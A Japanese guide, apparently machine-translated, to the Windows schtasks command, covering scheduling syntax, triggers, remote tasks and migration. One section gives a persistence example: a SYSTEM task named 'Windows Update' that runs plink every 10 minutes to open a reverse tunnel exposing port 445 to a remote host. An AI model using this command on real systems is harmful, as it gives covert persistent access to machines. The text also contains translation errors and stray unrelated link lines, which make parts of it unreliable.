SCHTASKS コマンド: Windows のタスク スケジューラの完全ガイド

最終更新: 23/02/2026

Windowsのschtasksコマンド

WindowsサーバーやPCを毎日使用する場合 遅かれ早かれ、あなたはコマンドに遭遇することになる schtasksこれは、タスク スケジューラと直接通信し、スクリプトの起動、バックアップの実行、ログの確認、さらにはグラフィカル インターフェイスに触れることなくメンテナンス プロセスの開始など、事実上あらゆる操作を自動化できるコマンド ライン ユーティリティです。

タスクをマスターするとすべてが変わる 手動で火消しをすることと、システムが自動的に対処することの違い。この記事では、コマンドの動作、必要な権限、完全な構文、すべての重要なパラメータ、そして豊富な実例(リモートコンピューターのシナリオ、Windowsバージョン間の移行、タスクが期待どおりに実行されない実際のケースなど)を詳細に説明します。

schtasks とは何ですか? また、具体的には何に使用されますか?

コマンド schtasks これはタスクスケジューラのコンソールインターフェースです Windowsの。古い at.exe また、Windows 10、Windows 11、Windows Server 2019、2022、およびサポートされている以前の同等のバージョンなど、システムのほぼすべての最新バージョンで利用できます。

彼らの使命はスケジュールされたタスクを管理することですローカルマシンとリモートサーバーの両方で、タスクの作成、変更、一覧表示、起動、停止、削除が可能です。スクリプト、実行ファイル、バックアップ、セキュリティチェック、監視、あるいはスケジュールに従って繰り返し実行したいコマンドの自動化に最適です。

定期的なタスクのスケジュール設定に加えてSchtasks を使用すると、システムの重要な瞬間(起動、ログイン、アイドル時間、または Windows レジストリイベント)にアクションをトリガーできます。最も重要なのは、アクションを実行するアカウント、権限レベル、および関連するパスワードを保存するかどうかを決定できることです。

専門分野およびサイバーセキュリティ環境 また、これは永続性を確立するためにも使用されます。つまり、特定のコマンドが定期的に、または特定のトリガーで実行されるようにするために使用され、通常は SYSTEM アカウントなどの特権認証情報を使用して実行されるため、非常に強力になります (ただし、誤用された場合は危険です)。

schtasks を安全に使用するには権限が必要です

すべてのアカウントがschtasksですべてを実行できるわけではない外部タスクまたはシステム タスクを操作するには、それらのタスクが存在するチームの管理者グループに属している必要があります。

ホームチームすべてのタスクを表示、スケジュール、または変更するには、schtasks を実行するアカウントが管理者である必要があります。標準ユーザーは通常、自分のタスクのみを管理でき、権限も制限されています。

リモートチーム 状況は少し複雑になります。リモートサーバーの管理者グループのメンバーであるか、パラメータで管理者の資格情報を明示的に提供する必要があります。 /u (パスワードは /pさらに、ローカル コンピューターのドメインは、リモート サーバーのドメインと同じか、信頼されているドメインである必要があります。そうでない場合、資格情報を検証できません。

タスク自体にも十分な権限が必要です 実行する内容を指定します。デフォルトでは、何も指定しない場合、タスクは現在のユーザー(または /u (スケジュール時)。ジョブを別のユーザーまたはシステムアカウントで実行したい場合は、 /ru およびオプションで /rp パスワードのために。

SYSTEM アカウントには対話型ログインがないことを理解することが重要です。SYSTEMとして起動されたプログラムは、ウィンドウを表示せず、ユーザーによる操作も許可しません。サービス、サイレントスクリプト、メンテナンスタスクなどには最適ですが、ユーザーによるクリックやデータ入力を必要とするアプリケーションには適していません。

コマンドの基本構文と主な操作

schtasksコマンドの一般的な形式 常にメイン操作(作成、削除、クエリなど)を中心に構築されます。ヘルプでは、非常に基本的なレベルで次のような表示がされます。

schtasks /Create | /Delete | /Query | /Change | /Run | /End | /?

これらの操作にはそれぞれ独自のパラメータの集合がある 有効な組み合わせは次のとおりです。

  • schtasks /create: 新しいスケジュールされたタスクを作成します。
  • schtasks /delete: 1 つ以上のタスクを削除します。
  • schtasks /query: 既存のタスクをテーブル、リスト、または CSV 形式で一覧表示します。
  • schtasks /change: すでに作成されたタスクのプロパティ (実行ユーザー、パスワード、プログラム、対話型モードなど) を変更します。
  • schtasks /run: すでにスケジュールされているタスクを強制的に即時実行します。
  • schtasks /end: タスクが現在実行中のプログラムを停止します。

Windows コンソールから詳細なヘルプを表示できます。 各操作のクラシック /?。 例えば、 schtasks /create /? パラメータの構文と説明がすべて表示されます。 schtasks /query /? またはその他のバリエーション。

schtasks によるタスクの作成: 完全な構文

これまで最も多く使われている操作は /createこれは新しいタスクを定義するために使用されます。その完全な構文は広範囲にわたりますが、プログラミングのほぼすべての詳細を制御できます。

schtasks /create /sc <tipo> /tn <nombre> /tr <comando> <usuario> ]] <usuario> | system}] | *] ] ]

知っておくべき重要なパラメータ タスクを作成するときは、次の手順に従います。

  • /sc <tipo>: プログラミング タイプ (MINUTE、HOURLY、DAILY、WEEKLY、MONTHLY、ONCE、ONSTART、ONLOGON、ONIDLE、ONEVENT)。
  • /tn <nombre>: タスク名。仮想フォルダパスが含まれる場合があります: \Carpeta\MiTarea.
  • /tr <comando>: 実行するプログラム、スクリプト、またはコマンド。 %SystemRoot%\System32.
  • /s <equipo>: タスクが作成されるリモート コンピューター (名前または IP)。
  • /u y /p: リモートと通信する際にschtasksコマンド自体を実行するための認証情報( /s).
  • /ru y /rp: あなたの番になったときにタスクを実行するために使用するアカウントとパスワード。
  • /mo, /d, /m, /st, /sd, /ed: 頻度修飾子、特定の日、月、開始日/終了日。
  • /it: 「実行ユーザー」がログインしている場合にのみタスクを強制的に実行します。
  • /np: パスワードを保存しません (ローカル リソースのみ、非対話型実行)。
  • /z: カレンダーを完了するとタスクが削除されます。
  • /rl: 起動時の特権レベル (LIMITED または HIGHEST)。
  Instagram からユーザーをブロックするとどうなりますか?答えはここにあります

柔軟性は非常に高いですが、組み合わせが間違っている可能性も高くなります。 (例えば、特定の種類のプログラミングでは有効ではないパラメータを混在させるなど)。そのため、各モードのヘルプを確認し、最初にラボでテストすることをお勧めします。

プログラミングの種類と周波数修飾子

パラメータ /sc タスクの「いつ」を定義する選択したタイプに応じて、一部の追加パラメータは必須、オプション、または無効になります。

利用可能な計画タイプは次のとおりです。:

  • MINUTE: n 分ごと。
  • 毎時: n 時間ごと。
  • 毎日: n 日ごと。
  • WEEKLY: n 週間ごとに、曜日を選択して実行します。
  • MONTHLY: 柔軟な月間スケジュール (特定の日、特定の週、最終日、特定の月)。
  • ONCE: 指定された日時に 1 回実行します。
  • オンスタート: システムの起動ごとに。
  • ログオン: 各ユーザーログイン時(任意のユーザーまたは特定のユーザー) /ru).
  • オニドル: システムが一定時間非アクティブのままになったとき。
  • ワンイベント: レジストリ イベント (チャネルおよび定義された基準) によってトリガーされる実行。

修飾子 /mo 各タイプ内の頻度を調整するたとえば、MINUTE の場合は分数、DAILY の場合は日数、WEEKLY の場合は週数、MONTHLY の場合は月数、または特定の月の組み合わせの場合は FIRST、SECOND、THIRD、FOURTH、LASTDAY などの特殊な値。

その他のパラメータとしては、 /d y /m 精度がさらに高まります。 /d 特定の曜日(月、火、水、木、金、土、日、または*ですべて)または使用するバリアントに応じて月内の日付を指定できます。 /m プログラミングを特定の月 (JAN ~ DEC または *) に制限します。

非アクティブのためスケジュールされた場合 (ONIDLE) 不可欠です /i <minutos>タスクを開始する前にチームが非アクティブでなければならない時間を指定します。1回のみ必須です。 /st、オプション /sd 「今日」ではなく、別の特定の日に実行したい場合。

分、時間、日単位でのスケジュール設定:実例

実際の環境では、監視またはメンテナンス スクリプトを自動化することは非常に一般的です。 数分または数時間ごとに繰り返されます。キーの組み合わせは次のとおりです。

例1 – 20分ごとにスクリプトを実行する:

schtasks /create /sc minute /mo 20 /tn "Security Script" /tr "\\central\data\scripts\sec.vbs"

ここでは 20 分間隔が示されています。 開始時刻または日付が指定されていないため、最初の実行はタスク作成から20分後に行われます。スクリプトはネットワークパス上にありますが、ローカルマシン上で実行されます。

例2 – 時間枠内の100分ごと:

schtasks /create /tn "Security Script" /tr sec.vbs /sc minute /mo 100 /st 17:00 /et 08:00 /k

この場合、ワークロードは100分ごとに急増します 午後5時から午前8時まで。 /k 終了時刻になってもプログラムがまだアクティブな場合は強制的に停止されます。このパラメータがない場合、プログラムは再起動を停止するだけで、進行中のプロセスは終了されません。

スケジュール設定論理は似ていますが、 /sc hourlyたとえば、特定の日付から 5 時間ごとに実行します。

schtasks /create /sc hourly /mo 5 /sd 03/01/2002 /tn MyApp /tr c:\apps\myapp.exe

もう一つの典型的な時間パターンは「X時間ごとに一定時間」です。 使用して /du 最大期間(たとえば 10 時間)として設定し、その期間外では次の日次サイクルまでインスタンスがトリガーされないようにすることができます。

日々の計画 (/sc dailyデフォルトの修飾子は日なので、指定しない場合は /moタスクは毎日指定された時間に実行されます。開始日を調整してください。 /sd または終了 /ed 一時的なキャンペーン(特定の日付までのメンテナンスのみ、テストなど)を制限できます。

高度な週次および月次スケジュール

「X日ごと」よりも細かい設定が必要な場合 週単位または月単位のスケジュール設定が最適です。WEEKLY では週単位や曜日単位のスケジュール設定が可能で、MONTHLY では月単位、特定の週、最終日などを指定できます。

例:隔週金曜日:

schtasks /create /tn MyApp /tr c:\apps\myapp.exe /sc weekly /mo 2 /d FRI

ここで /mo 2 2週間の間隔を示します、そして、 /d FRI 金曜日に限定します。省略 /mo毎週金曜日になります。

例 – 毎月第2日曜日 (その月の特定の週):

schtasks /create /tn MyApp /tr c:\apps\myapp.exe /sc monthly /mo SECOND /d SUN

この場合 /mo SECOND 今月は2週目ですつつ /d SUN その週内の日を定義します。FIRST、THIRD、またはFOURTHを単一の日と組み合わせる場合も同じロジックが適用されます。

月ごとのスケジュール これも非常に一般的です: /sc monthly y /d 15 たとえば、常に 15 日に実行します。 /m MAY,JUN 執行をその2ヶ月間だけに限定し、 /m * それは誰もが関わるものです。

月末処理の自動化 一般的に使用される LASTDAY 修飾子は、カレンダーを気にすることなく、28 日、29 日、30 日、または 31 日の月を考慮して、月の最終日にタスクを起動します。

  プログラム作成に最適なプログラム 7 選

特別なトリガー: 起動、ログイン、非アクティブ、イベント

すべてのタスクが固定の日時に基づいているわけではありません。多くの場合、マシンの起動時、ユーザーのログイン時、アクティビティがないときなどのシステム イベントに反応すると便利です。

オンスタート タスクはWindowsの起動時に毎回実行されます。通常はこれで十分です。

schtasks /create /tn MyApp /tr c:\apps\myapp.exe /sc onstart

ログオン ユーザーがログインしたときに実行をトリガーします。ローカル マシンとリモート マシンの両方で使用できます。

schtasks /create /tn "Start Web Site" /tr c:\myiis\webstart.bat /sc onlogon /s Server23

オニドル 一定期間の休止後に有効となり、 /iたとえば、10 分間操作が行われなかった後に何かを起動するには、次のようにします。

schtasks /create /tn MyApp /tr c:\apps\myapp.exe /sc onidle /i 10

ONEVENT タイプを使用すると、イベント ビューアーからのイベントに反応できます。チャンネルを指定する /EC XMLを使用したイベントの定義(通常は /xmlサービス障害、重大なエラー、セキュリティ イベントへの対応を自動化するのに最適です。

今すぐタスクを実行し、「今すぐ実行」をシミュレートします

Windowsでは、schtasksから「今すぐ実行」ボタンは提供されません。しかし、必要なものに応じて、2 つの異なる方法で同じ効果を実現できます。

最初のオプションは使用することです schtasks /run すでにスケジュールされているタスクについて:

schtasks /run /tn MiTarea

このコマンドはスケジュールを無視します。 設定されたプログラム、ユーザー名、パスワードを使用して、タスクを即座に起動します。これは、次の実行を待たずにタスクが正しく定義されているかどうかをテストするのに非常に便利です。

2番目のオプションは、ELEVENタイプのタスクを作成することです。 数分後に実行するようにスケジュールを設定し、「今」、例えば現在時刻から2~3分後に実行するようにシミュレートします。その後、必要に応じて削除できます。 /delete 自動的に

問題をデバッグするための追加のトリックとしてファイルを見る価値がある SchedLgU.txt en %SystemRoot%タスク スケジューラによって、多数の実行エラーと資格情報エラーの痕跡が残されます。

SYSTEMアカウントによる永続化と実行

サイバーセキュリティと高度な管理で非常によく使われる schtasks を使用して、特定のコマンドが SYSTEM アカウントで繰り返し実行されるようにし、最大限の権限で永続性を実現します。

典型的な持続パターンは 次のようなもの:

C:\> schtasks /create /ru "SYSTEM" /sc minute /mo <minutos> /tn "<nombre>" /tr "<comando>"

これにより、定期的なタスクが作成されます n分ごとにSYSTEMとして実行され、指定したコマンド(スクリプト、バイナリ、接続ツールなど)を実行します。パスワードは不要です。 /rp SYSTEM アカウントはユーザー資格情報を使用しないためです。

10分ごとに逆接続する永続性の実際の例:

C:\> schtasks /create /ru "SYSTEM" /sc minute /mo 10 /tn "Windows Update" /tr "C:\temp\plink.exe 10.1.1.22 -P 443 -C -R 3445:127.0.0.1:445 -N -l root -i private.key"

一見無害なタスク(「Windows Update」) 定期的に起動 plink.exe 一連のパラメータ:宛先IP、ポート443、圧縮有効、ポート転送、対話型シェルなし(-N)、リモートユーザー root 秘密鍵による認証も行います。

このタイプの使用法は、なぜschtasksがそれほど敏感なのかを示しています正当な管理者の手に渡れば、これは強力な自動化ツールとなりますが、侵害されたシステムへの永続的なアクセスを維持するための一般的な手段の 1 つでもあります。

グッドプラクティスの観点から定期的にスケジュールされたタスクを確認し、SYSTEM を使用するタスクを監査し、特に公開されているサーバー上で自動的に実行されるスクリプトとバイナリを制御することをお勧めします。

リモートチームと代替資格情報で作業する

schtasksの主な利点は、他のサーバーに対して動作できることです。 手動で接続する必要はありません。 /s リモートホストを示すために /u//p 管理者の資格情報の場合、それらのシステムでタスクを作成、一覧表示、または変更できます。

例 – ローカル管理者ユーザーでリモートサーバー上のタスクをスケジュールする:

schtasks /create /s SRV01 /tn MyApp /tr "c:\program files\corpapps\myapp.exe" /sc daily /mo 10

現在のユーザーがすでにSRV01の管理者である場合 いらないよ /uそうでない場合は、権限のあるアカウントを指定する必要があります。

schtasks /create /s SRV06 /tn MyApp /tr "c:\program files\corpapps\myapp.exe" /sc hourly /mo 3 /u reskits\admin01 /p R43253@4$ /ru SRV06\user03 /rp MyFav!!Pswd

このコマンドには2つのレベルの資格情報があります:資格 /u (admin01) はリモートマシン上でタスクを作成するために使用され、 /ru その後、(user03) を使用して3時間ごとにタスクを実行します。これにより、管理者権限が不要な場合はジョブ自体を管理者権限なしで実行できます。

ローカルコンピュータが信頼されたドメインに属していない場合 リモートドメインの場合、サーバーは指定されたアカウントを認証できません。 /u タスクは「空」になります。タスクはリストに表示されますが、正しい資格情報データがなく、次回の実行時間がなく、アカウント情報を確立できなかったことを示す警告メッセージが表示されます。

詳細にご相談の上、 schtasks /query /V 「実行ユーザー」などのフィールドが取得できず、「次回実行時刻」が「なし」になっていることがわかります。その場合、ドメイン間の信頼関係を確認するか、別のアカウント/サーバーを使用してタスクを適切に設定する必要があります。

  在庫をスプレッドシートからERPに移行する方法

サーバー間でスケジュールされたタスクをインポートおよび移行する

Windows Server 2003からより新しいバージョンへの移行 スケジュールされたすべてのタスクを新しいサーバーに移行し、そのプロパティを維持し、ユーザー アカウントを調整する必要があることは、従来の環境では一般的でした (一部のレガシー環境では現在でもそうです)。

実用的なアプローチは、.jobファイルをコピーすることです から C:\Windows\Tasks 古いサーバーから一時フォルダ(例: C:\Task)、と schtasks.exe y schedsvc.dll de C:\Windows\System32そのフォルダーを新しいサーバーに移動します。

そこに到達すると、.job ファイルが新しいシステムのタスク フォルダーにコピーされます。 FOR ループを使用して、タスクの実行に使用されるアカウントとパスワードを一括更新します。

cd C:\Task
FOR /R . %F in (*.*) do schtasks /change /TN %~nF /RU dom\Administrador /RP CONTRASEÑA

オーダー schtasks /change 資格情報を変更することができます パラメータ付き /ru (ユーザー)と /rp (パスワード)などのプロパティを設定します。これにより、インポートされたすべてのタスクが更新され、新しいドメイン/サーバー上の有効なアカウントで実行されるようになります。

このプロセスの後、すべてがうまくいけば、システムは成功メッセージを表示します。 「成功: スケジュールされたタスク 'Scheduled_Task_Name' のパラメータが変更されました」というメッセージが表示されます。その後、グラフィカルなタスクスケジューラを開き、タスクが表示され、期待どおりに実行されることを確認できます。

ただし、多くのタスクが特定のスクリプトまたはパスに依存していることを忘れないでください。.job ファイルに加えて、独自の .bat、.vbs、.exe ファイルなどをソース サーバーと同じ場所にコピーするか、別の場所に移動する場合はタスク内のパスを調整する必要があります。

schtasks の一般的な問題について相談、デバッグ、トラブルシューティングします

タスクを作成または起動するときにコマンドが「SUCCESSを返す」場合でもしかし、必ずしも内部プログラムが正しく実行されたとは限りません。だからこそ、クエリやデバッグの方法を理解し、必要に応じて次のようなツールを使うことが重要になります。 タスクリストとタスクキル.

とともに schtasks /query タスクをリストできます ローカルとリモートの両方、フィルターとさまざまな形式:

schtasks /query /S servidor /U usuario /P contraseña /FO TABLE /V

パラメータ /FO フォーマットを定義する (テーブル、リスト、またはCSV) /NH TABLE/CSVのヘッダーを削除し、 /V 完全な詳細 (実行中のユーザー、次回の起動、最後の実行、結果など) が表示されます。

非常に典型的な実際の例としては、PowerShell からタスクを手動で実行することが挙げられます。 ただし、タスクスケジューラが起動しているときは実行しないでください。例えば、あるサーバーでschtasksを実行して、別のリモートサーバーでタスクを起動する場合などです。

schtasks /run /s server02 /tn starttask

PowerShell で手動で実行すると、すべてが正しいように見えます。 (成功メッセージが表示され、server02でジョブが開始されます)が、server01のタスクスケジューラでスケジュールを設定しても何も起こりません。このような場合は、以下の点を確認してください。

  • server01でタスクを実行するアカウント (例: SYSTEM)。SYSTEM にはドメイン ユーザーと同等のネットワーク権限が常に付与されているとは限らず、server02 へのアクセスが妨げられる可能性があります。
  • 「ユーザーがログインしているかどうかに関係なく実行する」というコンテキスト利用可能な環境 (変数、ネットワーク マッピング、対話型権限など) が変更されるためです。
  • 「最高権限で実行する」設定シナリオによっては必要になる場合があります。
  • PowerShellとスクリプトの絶対パス (powershell.exe -File "F:\folder\startserver02task.ps1")、現在のフォルダーへの依存を回避します。

多くの場合、解決策としてはドメインサービスアカウントの使用が挙げられます SYSTEM ではなく server01 のタスクの場合、または両方のサーバー間のセキュリティとファイアウォール ポリシーを確認してリモート呼び出しを許可します。

問題を引き起こすもう一つの要因は時間と地域フォーマットである 日付。パラメータ /sd y /ed これらは地域設定(DD/MM/YYYY、MM/DD/YYYY、YYYY/MM/DD など)によって異なります。日付が誤って解釈された場合、タスクが実行されない、または次回実行予定として「実行しない」とマークされる可能性があります。

最後に、schtasks はパスやパスワードを検証しないことに留意する必要があります。 タスク作成時にプログラムパスまたはアカウントパスワードを間違えた場合、タスクは作成されますが、実行時に失敗します。その後、パスワードの有効期限が切れ、タスクを更新しないと、Schtasks からの通知なしにタスクが動作を停止します。

全体的に、schtasksは非常に強力で柔軟なツールです コマンドラインからWindowsを自動化するには、ローカルおよびリモートタスクのスケジュール設定、多様なトリガータイプからの選択、頻度の微調整、サーバーバージョン間のタスク移行、そして資格情報の管理を細かく行うことができます。パラメータを習得し、それらがタスクスケジューラやWindowsセキュリティとどのように連携するかを理解することが、堅牢な自動化の設定、悪意のあるパーシスタンス攻撃の検出、そして日常的な膨大な手作業の削減に不可欠です。

Schtaksでスケジュールされたタスクをスケジュールおよび管理する
関連記事:
Windowsでschtasksを使って自動タスクをスケジュールおよび管理する方法